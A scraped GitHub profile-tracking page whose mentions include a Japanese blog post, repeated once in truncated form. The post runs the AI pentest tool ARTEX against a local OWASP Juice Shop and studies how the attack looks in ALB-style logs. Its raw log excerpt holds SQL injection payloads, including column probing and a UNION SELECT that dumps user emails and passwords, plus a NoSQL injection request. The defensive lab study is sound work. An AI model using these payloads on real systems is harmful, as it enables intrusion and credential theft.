jiwoochris

Stars and mentions

Last 30 days, Oct 4 – Nov 2

GitHub stars0
mentions22
01234Oct 4Oct 18Nov 2
UTC days · repositories jiwoochris owns0 repositories

Package downloads

No package download history available yet.

Top repositories

jiwoochris’s repositories ranked by new stars, as on trending.

Loading

Contributes to

Repositories outside jiwoochris’s account where jiwoochris opened or reviewed pull requests in the past 365 days.

Who noticed jiwoochris

Everyone who starred or forked jiwoochris’s repositories since the archive began in 2011.

Notable accounts

Ordered by the stars their own repositories have received.

Biggest fans

Accounts that starred the most of these repositories.

Breakout weeks

Each repository’s best week of new stars, with the release published around it.

Mentions

25posts
Nov 33 posts
  1. protect yourself against jiwoochris/artex-global now

    3 likes · 346 views
  2. AIペンテストツールARTEXをローカルに向けて試してみた はじめに AIが自分でWebアプリ上を探索して脆弱性を突いてくれる「AIペンテストツール」が増えてきました。攻撃側の動きにも興味がありますが、個人的に知りたかったのは その攻撃が守る側のログにどう残るのか です。 そこで、オープンソースのAIペンテストツール ARTEX を、わざと脆弱に作られたWebアプリに向けて走らせ、ログを眺めてみました。 ※基本的に作業のお供はClaudeですが、今回はTerraform等ツールの勉強を兼ねていたので、全部の作業は任せず細かいところは手を動かして検証しました。 :::message alert この記事の検証は、すべて自分のPC内(127.0.0.1)で完結させています。ペンテストツールは、自分が所有し、かつツールの規約上も許される対象にだけ使ってください。 ::: AWS上で作った環境に向けて使うつもりでスタート 当初の計画は「AWS上にJuice Shopを立てて、ARTEXの攻撃がCloudWatch LogsやVPC Flow Logs、CloudTrailにどう映るかを見る」といったもので、普段から仕事で見ているログだとどんな感じに見えるんだろうという興味から始めました。 !当初の構成図 消すときのことを考えて、Terraformをローカルから叩いて環境を作りました。構築用のIAMユーザーを切り出してい進めていく中、途中で少しハマりましたがとりあえず作れました。 ※Terraformの勉強がてら作っていました。 - 構築用ユーザーの権限に instance profile 関連と iam:PassRole が足りず、terraform apply が途中で止まる - terraform stateの仕様を知らないまま進めてたのもあり、AIに壁打ちしながら進めた。 最終的にEC2上でJuice Shopが動くところまでは作れました。 :::message OWASP Juice Shop とは セキュリティ啓発団体のOWASPが公開している、わざと脆弱に作られた練習用のWebアプリです。ジュースを売るネットショップの体裁で、SQLインジェクションやXSS、アクセス制御の不備など、OWASP Top 10に挙がるような脆弱性が一通り仕込まれています。 脆弱性はそれぞれ「課題」として★1〜★6の難易度が付いていて、攻略するとアプリ内のスコアボードに記録されます。今回使ったバージョンでは課題は116個あり、どの攻撃が成立したかをアプリ自身が教えてくれるので、AIペンテスターの成果を答え合わせするのに最適です、 ::: 規約の警告をされ、ローカルに切り替えた いざARTEXを向けようとしたところで、ClaudeにARTEXの使い方を読ませているときにARTEX側の規約違反に当たるかもしれないと怒られました。 以下がその利用規約です。第2項では自己所有なら例外とも読めるが、1項で『ローカルの隔離環境』での利用が想定されているので、安全側に倒してローカル検証することにしました。 !利用制限 また、別途調べていくとAWS上の資産に対してペネトレーションテストを行うときは申請が必要になるケースもあるようです(中には禁止されていることもあるので注意) aws.amazon.com repost.aws ここは素直に方針を変え、AWSの環境は terraform destroy で片付けることに... ローカルに「AWSサービスっぽいログが出る環境」を作る とはいえ、AWSのログっぽいものが見たいのは変わらずです。 そこで、ローカルでAWSのログ形式をまねることにしました。Claudeにどんな感じがいいか相談して出てきたのがこれです。 ARTEX (Docker Compose, 管理UI localhost:8787) │ 対象URL: http://host.docker.internal:8080/ ▼ nginx (127.0.0.1:8080) ── ALB Access Logs っぽいログを出力 │ ▼ OWASP Juice Shop (コンテナ内部 :3000) ── 標準出力 = アプリログ !ローカル構成図 AWSのログとの対応はこう。 | AWSのログ | ローカルでの代わり | |---|---| | ALB Access Logs | nginxの log_format でALBと同じ並びのログを出力 | | CloudWatch Logs(アプリ) | Juice Shopの標準出力 | | VPC Flow Logs | 今回は見送り | | CloudTrail | ローカルには相当するものなし(後述) | nginxの log_format を、ALBのアクセスログのフィールド順に合わせて定義しています。 log_format alb 'http $time_iso8601 app/local-lab/50dc6c495c0c9188 ' '$remote_addr:$remote_port $upstream_addr ' '-1 $upstream_response_time -1 ' '$status $upstream_status $request_length $bytes_sent ' '"$request" "$http_user_agent" - - ' '- "-" "localhost" "-" 0 $time_iso8601 "forward" "-" "-" ' '"$upstream_addr" "$upstream_status" "-" "-"'; access_log /var/log/nginx/alb_access.log alb; ALBのログのうち、ターゲットグループのARNやTLSの情報など、ローカルでは意味を持たないフィールドはダミー値で埋めているようです。ここは正直Claudeに全任せです。 下記は平常時(動作確認で1回アクセスしたとき)のログです。 http 2026-10-28T14:26:08+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:44674 172.19.0.2:3000 -1 0.004 -1 200 200 159 10450 "GET / HTTP/1.1" "Mozilla/5.0 (Windows NT; Windows NT 10.0; ja-JP) WindowsPowerShell/5.1.26100.9711" - - - "-" "localhost" "-" 0 2026-10-28T14:26:08+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" ARTEXを走らせる 準備 ARTEXはDocker Composeで起動し、ブラウザの管理UIから操作します。つまずいたのは2点でした。 - APIキーが必要。Claudeのサブスクリプションでは動かないので、Anthropic ConsoleでAPIキーを発行してクレジットを入れる - 既定のモデルは高価なので、LLMの設定で claude-haiku-5-5 に変更しました(クレジット消費やばいんじゃないかとビクビクしながら弱いAIから試しました) !static.zenn.studio タスクの作成画面では、対象のURLを Description 欄に書き、Goal に目的(「このWebアプリを探索し、脆弱性を洗い出す」)を記載。Create を押すとそのまま実行が始まりました。 !static.zenn.studio 実行中の様子 タスク実行画面上ではトークンの消費量が増えていくのと、発見された脆弱性がレベルごとで増えていくのが観察できました。 !static.zenn.studio Plannnerエージェントが考えてWorkerエージェントに指示を出している様子も見えました。最初の命令だけ中国語なのところに味が出ています !static.zenn.studio PlannnerがWorkerに指示を出しては結果を吸い上げ、そこからさらに指示をだして進行しているフロー図がARTEXの画面から確認できました。 !static.zenn.studio 結果 | 項目 | 値 | |---|---| | モデル | claude-haiku-5-5(Worker 2) | | タスク総時間(ARTEXの表示。計画や後処理を含む) | 6分50秒 | | 攻撃トラフィックの時間(ログ上の最初と最後のリクエスト) | 6分35秒 | | リクエスト数 | 634(GET 416 / POST 183 / PUT 34 ほか) | | ARTEXが報告した Findings | 21件(Critical 3 / High 7 / Medium 8 / Low 3) | | 実際に攻略できた問題(Juice Shopのスコアボード) | 116問中18問(最高は★4) | | 費用 | 約 $0.46 | Finding確認画面です。Criticalがちらほら表示されています。 !static.zenn.studio API請求画面です。1回の使用量は格安です。 !API請求画面 1問あたり3セント弱の計算です。Haikuだったのもありかなり格安でいけますね。 ちなみに、管理画面では入力トークンが約330万と表示されていましたが、実行ログを見るとAPIのレート制限(入力 50万トークン/分)による 429 が多発していました。トークン数の大半はこのリトライ分で、速度はモデルの性能よりもレート制限で頭打ちになっていた ようです。 攻撃はログにどう見えたか めちゃくちゃ攻撃されてる時のALB風ログです。めっちゃ流れるのが楽しかったです。 !static.zenn.studio アクセスログ(ALB風):何を試したか まずステータスコードの分布です。 | ステータス | 件数 | |---|---| | 200 | 350 | | 500 | 86 | | 401 | 81 | | 302 | 41 | | 201 | 22 | | 403 | 21 | | 400 | 15 | ※ここら辺の分析はClaudeに任せたら以下でした。 普通の利用では、500や401、403がここまで多くなることはありません。 **エラーの比率の高さ** そのものが、探索されているサインです。 加えて、送信元は1つ、6分半で600件超という高いレートで、 User-Agent は `curl/7.88.1`(一部 `Python-urllib/3.12`)でした。 よく叩かれていたのは `/rest/products/search`、`/rest/user/login`、`/api/Users`、`/rest/user/whoami`、`/rest/admin/application-configuration` などです。 **SQLインジェクションの手順がそのまま残っていた** ことも特徴に上げられます。 1. 商品検索の `q` パラメータに `UNION SELECT NULL--`、`UNION SELECT NULL,NULL--` … と **NULLを1つずつ増やして** 送り、列の数を探る 2. 列数がわかったら `UNION SELECT id,email,password,... FROM Users--` で **ユーザーの資格情報を抜き出す** 3. `UNION SELECT sql,... FROM sqlite_master--` で **テーブル構造を一覧する** Calude曰く参考書に載っている手順を、そのまま忠実に行っているとのこと。 一応説明の該当箇所のログは以下の通り。ログと突き合わせて、説明見るとまあまあグロいですね。 :::details 生ログ(抜粋) http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47078 172.19.0.2:3000 -1 0.006 -1 500 500 174 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47082 172.19.0.2:3000 -1 0.006 -1 500 500 181 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47098 172.19.0.2:3000 -1 0.008 -1 500 500 188 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47112 172.19.0.2:3000 -1 0.006 -1 500 500 195 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47118 172.19.0.2:3000 -1 0.006 -1 500 500 202 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47122 172.19.0.2:3000 -1 0.008 -1 500 500 209 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47126 172.19.0.2:3000 -1 0.006 -1 500 500 216 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47134 172.19.0.2:3000 -1 0.007 -1 500 500 223 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47144 172.19.0.2:3000 -1 0.006 -1 500 500 230 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47152 172.19.0.2:3000 -1 0.007 -1 500 500 237 2318 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47158 172.19.0.2:3000 -1 0.007 -1 500 500 244 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+id%2cemail%2cpassword%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47172 172.19.0.2:3000 -1 0.006 -1 500 500 242 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47186 172.19.0.2:3000 -1 0.007 -1 500 500 245 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+--%2b HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47194 172.19.0.2:3000 -1 0.007 -1 500 500 243 1349 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+%23 HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47196 172.19.0.2:3000 -1 0.006 -1 500 500 246 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+%2f%2a HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47200 172.19.0.2:3000 -1 0.007 -1 200 200 167 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+8-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47204 172.19.0.2:3000 -1 0.006 -1 200 200 167 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+9-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47216 172.19.0.2:3000 -1 0.010 -1 200 200 168 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+10-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45800 172.19.0.2:3000 -1 0.007 -1 500 500 168 1401 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+11-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45806 172.19.0.2:3000 -1 0.007 -1 500 500 168 1401 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+12-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:10+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45822 172.19.0.2:3000 -1 0.056 -1 200 200 251 5750 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+id%2cemail%2cpassword%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:10+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" ::: アプリログ(CloudWatch Logs相当):何が成立したか アクセスログからわかるのは「何を試したか」までです。それが成功したかどうかは、アプリ側のログを見る必要があります。 Claude曰くJuice Shopは、問題が解かれると次のようなログを出すようです。 info: Solved 4-star nullByteChallenge (Poison Null Byte) info: Solved 4-star noSqlReviewsChallenge (NoSQL Manipulation) さらに、Juice Shop自身の 不正検知 も働いていました。 Cheat score ... solved in 0min (expected ~8min) ... 0.99 「本来8分ほどかかる問題を0分で解いた」ので、自動化ツールの可能性が高い(スコア0.99)と判定しています。人間には無理な速さ は、防御側にとってわかりやすいシグナルです。 Juice Shopのログが出ている様子。 !static.zenn.studio :::details 生ログ(抜粋) info: Solved 2-star deprecatedInterfaceChallenge (Deprecated Interface) info: Cheat score for deprecatedInterfaceChallenge solved in 0min (expected ~4min) with hints allowed: 0.9503583333333333 info: Solved 3-star forgedReviewChallenge (Forged Review) info: Cheat score for forgedReviewChallenge solved in 0min (expected ~6min) with hints allowed: 0.9960472222222222 UnauthorizedError: No Authorization header was found Error: Unexpected path: /rest/products/reviews?id=%7b%22%24gt%22%3a%22%22%7d at /juice-shop/build/routes/angular.js:18:18 at /juice-shop/build/lib/utils.js:239:26 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) at /juice-shop/node_modules/express/lib/router/index.js:286:9 at router.process_params (/juice-shop/node_modules/express/lib/router/index.js:346:12) at next (/juice-shop/node_modules/express/lib/router/index.js:280:10) at /juice-shop/build/routes/verify.js:235:5 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) at /juice-shop/node_modules/express/lib/router/index.js:286:9 at router.process_params (/juice-shop/node_modules/express/lib/router/index.js:346:12) at next (/juice-shop/node_modules/express/lib/router/index.js:280:10) at /juice-shop/build/lib/insecurity.js:218:5 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) Error: WHERE parameter "captchaId" has invalid "undefined" value ::: スコアボードとの突合:実際にはどこまで刺さったか Juice Shopはスコアボード(/api/Challenges)で、どの問題が解かれたかを持っています。これを正解データとして突き合わせました。 | 難易度 | 攻略数 | |---|---| | ★1 | 4 | | ★2 | 4 | | ★3 | 5 | | ★4 | 5 | | ★5・★6 | 0 | 管理者ログインのSQLi回避、NoSQLインジェクション、資格情報の抜き出し、他人のカートの閲覧などは攻略できていました。一方、XSSは9問中0、XXEやデシリアライズといった専門知識が必要な高難易度のものはとれていませんでした。とはいえ安いモデルのhaikuで6分半なら、★4あたりが限界というのが今回の結果でした。 :::details 攻略した18問の一覧 [★1] Improper Input Validation :: Repetitive Registration [★1] Security Misconfiguration :: Error Handling [★1] Observability Failures :: Exposed Metrics [★1] Sensitive Data Exposure :: Confidential Document [★2] Broken Authentication :: Password Strength [★2] Injection :: Login Admin [★2] Security Misconfiguration :: Deprecated Interface [★2] Broken Access Control :: View Basket [★3] Improper Input Validation :: Upload Type [★3] Broken Access Control :: Forged Review [★3] Broken Access Control :: Forged Feedback [★3] Improper Input Validation :: Deluxe Fraud [★3] Improper Input Validation :: Admin Registration [★4] Improper Input Validation :: Poison Null Byte [★4] Unvalidated Redirects :: Allowlist Bypass [★4] Sensitive Data Exposure :: Forgotten Developer Backup [★4] Injection :: NoSQL Manipulation [★4] Injection :: User Credentials ::: また、ARTEXが報告したFindingsは21件で、実際に成立した18件とは一致しません。ツールが「見つけた」と言っているものと、Juiceが本当に刺さったものに違いが出たのも面白いです。Findingsと課題は1対1ではないので、どれがどれに当たるかは別途深掘りしたいです。 ログから見えたAIペンテスターの特徴 | 特徴 | ログでの見え方 | どのログか | |---|---|---| | 対象を調べてから狙う | Juice Shop固有のAPI(/rest/products/search など)や、機密ファイルの置き場所(/ftp、/encryptionkeys)を開始直後から探る | アクセスログ | | 応答を見て次の手を変える | UNION SELECT NULL を1つずつ増やす → 書き方を変える → ORDER BY で列数を確定 → 抜き出し | アクセスログ | | 速い | 列数の探りから資格情報の抜き出しまで約10秒 | アクセスログ | | 外しながら近づく | URLの形を間違えたNoSQLインジェクションで Unexpected path → その後、正しいAPIで攻略 | アプリログ | | 書き込み系が多い | GET 416件に対し POST 183件、PUT 34件 | アクセスログ | | 人間には無理な速さ | 本来数分かかる課題を0分で攻略し、cheat score 0.95〜0.99 | アプリログ | | User-Agentはありふれている | curl/7.88.1(一部 Python-urllib/3.12)。UAだけでは目立たない | アクセスログ | :::message 前段のnginxが攻撃を止めていた可能性もあるかも nginxのエラーログには、ARTEXが /file-upload に5MBと2MBのファイルを送ろうとして、nginxのアップロード上限(既定1MB)で弾かれた記録が残っていました。これらのリクエストはJuice Shopまで届いていません。 Juice Shopには「サイズ制限を突破してアップロードする」課題(Upload Size)がありますが、今回は攻略できていませんでした。nginxで止められたことが原因の一つかもしれません。 ::: おまけ:sonnetは動かなかった haikuより上位の claude-sonnet-5-5 でも試そうとしましたが、今回のARTEX(v0.3.15)では実行が始まりませんでした。ツールが推論モデルに対応していなかったようで色々設定を変えたんですが動かなかったです。 - thinkingの設定なし:APIは200を返すが、本文が空のまま止まる - thinkingを有効化:thinking.enabled.budget_tokens: Field required で400エラー。ARTEXの設定画面には budget を入れる欄がない まとめ - ペンテストツールを使う前に、対象への権限 と ツールの規約 の両方を確認しましょう。 - AWSに出せなくても、nginxでALB形式のログを出せば、ログの観察ができた - AIペンテスターは安くて速い(18問を約$0.46、6分半)。一方で、XSSや高難度の問題はまだ取りこぼしていた(モデルの性能による部分もありそうなので、上位モデルなら届くかも) - 守る側としては、エラー率の急増、応答に合わせて段階的に変わるリクエスト、人間には無理な速さという点が手がかりになりそうです。 次はハニーポッドを作ってログ集計したいと思います。今回見れたようなAIペンテストツールのようなログが出てくるのかが気になります。 参考 - ARTEX: jiwoochris/artex-global - OWASP Juice Shop: owasp.org - ALBのアクセスログ(AWSドキュメント): docs.aws.amazon.com

    1 like
  3. AIペンテストツールARTEXをローカルに向けて試してみた はじめに AIが自分でWebアプリ上を探索して脆弱性を突いてくれる「AIペンテストツール」が増えてきました。攻撃側の動きにも興味がありますが、個人的に知りたかったのは その攻撃が守る側のログにどう残るのか です。 そこで、オープンソースのAIペンテストツール ARTEX を、わざと脆弱に作られたWebアプリに向けて走らせ、ログを眺めてみました。 ※基本的に作業のお供はClaudeですが、今回はTerraform等ツールの勉強を兼ねていたので、全部の作業は任せず細かいところは手を動かして検証しました。 ! この記事の検証は、すべて自分のPC内(127.0.0.1)で完結させています。ペンテストツールは、自分が所有し、かつツールの規約上も許される対象にだけ使ってください。 AWS上で作った環境に向けて使うつもりでスタート 当初の計画は「AWS上にJuice Shopを立てて、ARTEXの攻撃がCloudWatch LogsやVPC Flow Logs、CloudTrailにどう映るかを見る」といったもので、普段から仕事で見ているログだとどんな感じに見えるんだろうという興味から始めました。 消すときのことを考えて、Terraformをローカルから叩いて環境を作りました。構築用のIAMユーザーを切り出してい進めていく中、途中で少しハマりましたがとりあえず作れました。 ※Terraformの勉強がてら作っていました。 構築用ユーザーの権限に instance profile 関連と iam:PassRole が足りず、terraform apply が途中で止まる terraform stateの仕様を知らないまま進めてたのもあり、AIに壁打ちしながら進めた。 最終的にEC2上でJuice Shopが動くところまでは作れました。 ! OWASP Juice Shop とは セキュリティ啓発団体のOWASPが公開している、わざと脆弱に作られた練習用のWebアプリです。ジュースを売るネットショップの体裁で、SQLインジェクションやXSS、アクセス制御の不備など、OWASP Top 10に挙がるような脆弱性が一通り仕込まれています。 脆弱性はそれぞれ「課題」として★1〜★6の難易度が付いていて、攻略するとアプリ内のスコアボードに記録されます。今回使ったバージョンでは課題は116個あり、どの攻撃が成立したかをアプリ自身が教えてくれるので、AIペンテスターの成果を答え合わせするのに最適です、 規約の警告をされ、ローカルに切り替えた いざARTEXを向けようとしたところで、ClaudeにARTEXの使い方を読ませているときにARTEX側の規約違反に当たるかもしれないと怒られました。 以下がその利用規約です。第2項では自己所有なら例外とも読めるが、1項で『ローカルの隔離環境』での利用が想定されているので、安全側に倒してローカル検証することにしました。 また、別途調べていくとAWS上の資産に対してペネトレーションテストを行うときは申請が必要になるケースもあるようです(中には禁止されていることもあるので注意) aws.amazon.com repost.aws ここは素直に方針を変え、AWSの環境は terraform destroy で片付けることに... ローカルに「AWSサービスっぽいログが出る環境」を作る とはいえ、AWSのログっぽいものが見たいのは変わらずです。 そこで、ローカルでAWSのログ形式をまねることにしました。Claudeにどんな感じがいいか相談して出てきたのがこれです。 ARTEX (Docker Compose, 管理UI localhost:8787) │ 対象URL: host.docker.internal ▼ nginx (127.0.0.1:8080) ── ALB Access Logs っぽいログを出力 │ ▼ OWASP Juice Shop (コンテナ内部 :3000) ── 標準出力 = アプリログ AWSのログとの対応はこう。 AWSのログ ローカルでの代わり ALB Access Logs nginxの log_format でALBと同じ並びのログを出力 CloudWatch Logs(アプリ) Juice Shopの標準出力 VPC Flow Logs 今回は見送り CloudTrail ローカルには相当するものなし(後述) nginxの log_format を、ALBのアクセスログのフィールド順に合わせて定義しています。 log_format alb 'http $time_iso8601 app/local-lab/50dc6c495c0c9188 ' '$remote_addr:$remote_port $upstream_addr ' '-1 $upstream_response_time -1 ' '$status $upstream_status $request_length $bytes_sent ' '"$request" "$http_user_agent" - - ' '- "-" "localhost" "-" 0 $time_iso8601 "forward" "-" "-" ' '"$upstream_addr" "$upstream_status" "-" "-"'; access_log /var/log/nginx/alb_access.log alb; ALBのログのうち、ターゲットグループのARNやTLSの情報など、ローカルでは意味を持たないフィールドはダミー値で埋めているようです。ここは正直Claudeに全任せです。 下記は平常時(動作確認で1回アクセスしたとき)のログです。 http 2026-10-28T14:26:08+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:44674 172.19.0.2:3000 -1 0.004 -1 200 200 159 10450 "GET / HTTP/1.1" "Mozilla/5.0 (Windows NT; Windows NT 10.0; ja-JP) WindowsPowerShell/5.1.26100.9711" - - - "-" "localhost" "-" 0 2026-10-28T14:26:08+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" ARTEXを走らせる 準備 ARTEXはDocker Composeで起動し、ブラウザの管理UIから操作します。つまずいたのは2点でした。 APIキーが必要。Claudeのサブスクリプションでは動かないので、Anthropic ConsoleでAPIキーを発行してクレジットを入れる 既定のモデルは高価なので、LLMの設定で claude-haiku-5-5 に変更しました(クレジット消費やばいんじゃないかとビクビクしながら弱いAIから試しました) タスクの作成画面では、対象のURLを Description 欄に書き、Goal に目的(「このWebアプリを探索し、脆弱性を洗い出す」)を記載。Create を押すとそのまま実行が始まりました。 実行中の様子 タスク実行画面上ではトークンの消費量が増えていくのと、発見された脆弱性がレベルごとで増えていくのが観察できました。 Plannnerエージェントが考えてWorkerエージェントに指示を出している様子も見えました。最初の命令だけ中国語なのところに味が出ています PlannnerがWorkerに指示を出しては結果を吸い上げ、そこからさらに指示をだして進行しているフロー図がARTEXの画面から確認できました。 結果 項目 値 モデル claude-haiku-5-5(Worker 2) タスク総時間(ARTEXの表示。計画や後処理を含む) 6分50秒 攻撃トラフィックの時間(ログ上の最初と最後のリクエスト) 6分35秒 リクエスト数 634(GET 416 / POST 183 / PUT 34 ほか) ARTEXが報告した Findings 21件(Critical 3 / High 7 / Medium 8 / Low 3) 実際に攻略できた問題(Juice Shopのスコアボード) 116問中18問(最高は★4) 費用 約 $0.46 Finding確認画面です。Criticalがちらほら表示されています。 API請求画面です。1回の使用量は格安です。 1問あたり3セント弱の計算です。Haikuだったのもありかなり格安でいけますね。 ちなみに、管理画面では入力トークンが約330万と表示されていましたが、実行ログを見るとAPIのレート制限(入力 50万トークン/分)による 429 が多発していました。トークン数の大半はこのリトライ分で、速度はモデルの性能よりもレート制限で頭打ちになっていた ようです。 攻撃はログにどう見えたか めちゃくちゃ攻撃されてる時のALB風ログです。めっちゃ流れるのが楽しかったです。 アクセスログ(ALB風):何を試したか 